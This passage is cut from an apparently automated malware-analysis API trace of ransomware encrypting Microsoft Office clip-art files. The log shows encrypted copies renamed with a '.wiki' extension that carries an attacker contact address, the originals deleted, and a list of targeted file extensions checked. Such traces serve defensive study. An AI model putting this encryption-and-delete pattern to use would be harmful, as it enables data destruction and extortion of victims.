dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.492] GetLastError () returned 0x0 [0189.492] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xce2, lpOverlapped=0x0) returned 1 [0189.494] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0189.495] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.495] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.495] SetEndOfFile (hFile=0x220) returned 1 [0189.495] CloseHandle (hObject=0x220) returned 1 [0189.495] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.495] SetEndOfFile (hFile=0x1e0) returned 1 [0189.496] CloseHandle (hObject=0x1e0) returned 1 [0189.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0189.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.496] lstrlenW (lpString=".doc") returned 4 [0189.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.497] lstrlenW (lpString=".docx") returned 5 [0189.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.497] lstrlenW (lpString=".pdf") returned 4 [0189.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.497] lstrlenW (lpString=".xls") returned 4 [0189.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.497] lstrlenW (lpString=".xlsx") returned 5 [0189.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.497] lstrlenW (lpString=".ppt") returned 4 [0189.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.497] lstrlenW (lpString=".zip") returned 4 [0189.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.497] lstrlenW (lpString=".rar") returned 4 [0189.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.497] lstrlenW (lpString=".bz2") returned 4 [0189.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.497] lstrlenW (lpString=".7z") returned 3 [0189.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.497] lstrlenW (lpString=".dbf") returned 4 [0189.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.497] lstrlenW (lpString=".1cd") returned 4 [0189.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.498] lstrlenW (lpString=".jpg") returned 4 [0189.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.498] lstrlenW (lpString=".doc") returned 4 [0189.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString=".docx") returned 5 [0189.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.498] lstrlenW (lpString=".pdf") returned 4 [0189.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString=".xls") returned 4 [0189.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.498] lstrlenW (lpString=".xlsx") returned 5 [0189.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.498] lstrlenW (lpString=".ppt") returned 4 [0189.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.498] lstrlenW (lpString=".zip") returned 4 [0189.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.498] lstrlenW (lpString=".rar") returned 4 [0189.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString=".bz2") returned 4 [0189.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString=".7z") returned 3 [0189.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.498] lstrlenW (lpString=".dbf") returned 4 [0189.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.498] lstrlenW (lpString=".1cd") returned 4 [0189.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0189.499] lstrlenW (lpString=".jpg") returned 4 [0189.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.499] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.499] lstrlenW (lpString="HH00513_.WMF") returned 12 [0189.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.499] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=818) returned 1 [0189.499] CloseHandle (hObject=0x1e0) returned 1 [0189.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0189.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.500] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.500] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.500] GetLastError () returned 0x0 [0189.500] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x332, lpOverlapped=0x0) returned 1 [0189.502] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x340, lpOverlapped=0x0) returned 1 [0189.502] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.503] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.503] SetEndOfFile (hFile=0x220) returned 1 [0189.503] CloseHandle (hObject=0x220) returned 1 [0189.503] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.503] SetEndOfFile (hFile=0x1e0) returned 1 [0189.504] CloseHandle (hObject=0x1e0) returned 1 [0189.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0189.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.504] lstrlenW (lpString=".doc") returned 4 [0189.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.504] lstrlenW (lpString=".docx") returned 5 [0189.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.504] lstrlenW (lpString=".pdf") returned 4 [0189.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.504] lstrlenW (lpString=".xls") returned 4 [0189.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.504] lstrlenW (lpString=".xlsx") returned 5 [0189.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.505] lstrlenW (lpString=".ppt") returned 4 [0189.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.505] lstrlenW (lpString=".zip") returned 4 [0189.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.505] lstrlenW (lpString=".rar") returned 4 [0189.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString=".bz2") returned 4 [0189.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString=".7z") returned 3 [0189.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.505] lstrlenW (lpString=".dbf") returned 4 [0189.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.505] lstrlenW (lpString=".1cd") returned 4 [0189.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.505] lstrlenW (lpString=".jpg") returned 4 [0189.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.505] lstrlenW (lpString=".doc") returned 4 [0189.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.505] lstrlenW (lpString=".docx") returned 5 [0189.505] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.505] lstrlenW (lpString=".pdf") returned 4 [0189.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.506] lstrlenW (lpString=".xls") returned 4 [0189.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.506] lstrlenW (lpString=".xlsx") returned 5 [0189.506] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.506] lstrlenW (lpString=".ppt") returned 4 [0189.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.506] lstrlenW (lpString=".zip") returned 4 [0189.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.506] lstrlenW (lpString=".rar") returned 4 [0189.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.506] lstrlenW (lpString=".bz2") returned 4 [0189.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.506] lstrlenW (lpString=".7z") returned 3 [0189.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.506] lstrlenW (lpString=".dbf") returned 4 [0189.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.506] lstrlenW (lpString=".1cd") returned 4 [0189.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0189.506] lstrlenW (lpString=".jpg") returned 4 [0189.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.506] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.506] lstrlenW (lpString="HH00524_.WMF") returned 12 [0189.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.507] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14688) returned 1 [0189.507] CloseHandle (hObject=0x1e0) returned 1 [0189.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0189.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.507] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.507] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.508] GetLastError () returned 0x0 [0189.508] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x3960, lpOverlapped=0x0) returned 1 [0189.615] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x3970, lpOverlapped=0x0) returned 1 [0189.616] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.616] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.617] SetEndOfFile (hFile=0x220) returned 1 [0189.617] CloseHandle (hObject=0x220) returned 1 [0189.617] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.617] SetEndOfFile (hFile=0x1e0) returned 1 [0189.618] CloseHandle (hObject=0x1e0) returned 1 [0189.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0189.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.618] lstrlenW (lpString=".doc") returned 4 [0189.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.618] lstrlenW (lpString=".docx") returned 5 [0189.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.618] lstrlenW (lpString=".pdf") returned 4 [0189.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.618] lstrlenW (lpString=".xls") returned 4 [0189.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.618] lstrlenW (lpString=".xlsx") returned 5 [0189.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.618] lstrlenW (lpString=".ppt") returned 4 [0189.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.619] lstrlenW (lpString=".zip") returned 4 [0189.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.619] lstrlenW (lpString=".rar") returned 4 [0189.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString=".bz2") returned 4 [0189.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString=".7z") returned 3 [0189.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.619] lstrlenW (lpString=".dbf") returned 4 [0189.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.619] lstrlenW (lpString=".1cd") returned 4 [0189.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.619] lstrlenW (lpString=".jpg") returned 4 [0189.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.619] lstrlenW (lpString=".doc") returned 4 [0189.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString=".docx") returned 5 [0189.619] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.619] lstrlenW (lpString=".pdf") returned 4 [0189.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.619] lstrlenW (lpString=".xls") returned 4 [0189.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.619] lstrlenW (lpString=".xlsx") returned 5 [0189.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.619] lstrlenW (lpString=".ppt") returned 4 [0189.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.620] lstrlenW (lpString=".zip") returned 4 [0189.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.620] lstrlenW (lpString=".rar") returned 4 [0189.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString=".bz2") returned 4 [0189.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString=".7z") returned 3 [0189.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.620] lstrlenW (lpString=".dbf") returned 4 [0189.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.620] lstrlenW (lpString=".1cd") returned 4 [0189.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0189.620] lstrlenW (lpString=".jpg") returned 4 [0189.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.620] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.620] lstrlenW (lpString="HH00601_.WMF") returned 12 [0189.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.621] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1468) returned 1 [0189.621] CloseHandle (hObject=0x1e0) returned 1 [0189.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x20 [0189.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0189.621] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.621] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0189.622] GetLastError () returned 0x0 [0189.622] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x5bc, lpOverlapped=0x0) returned 1 [0189.646] WriteFile (in: hFile=0x220, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, 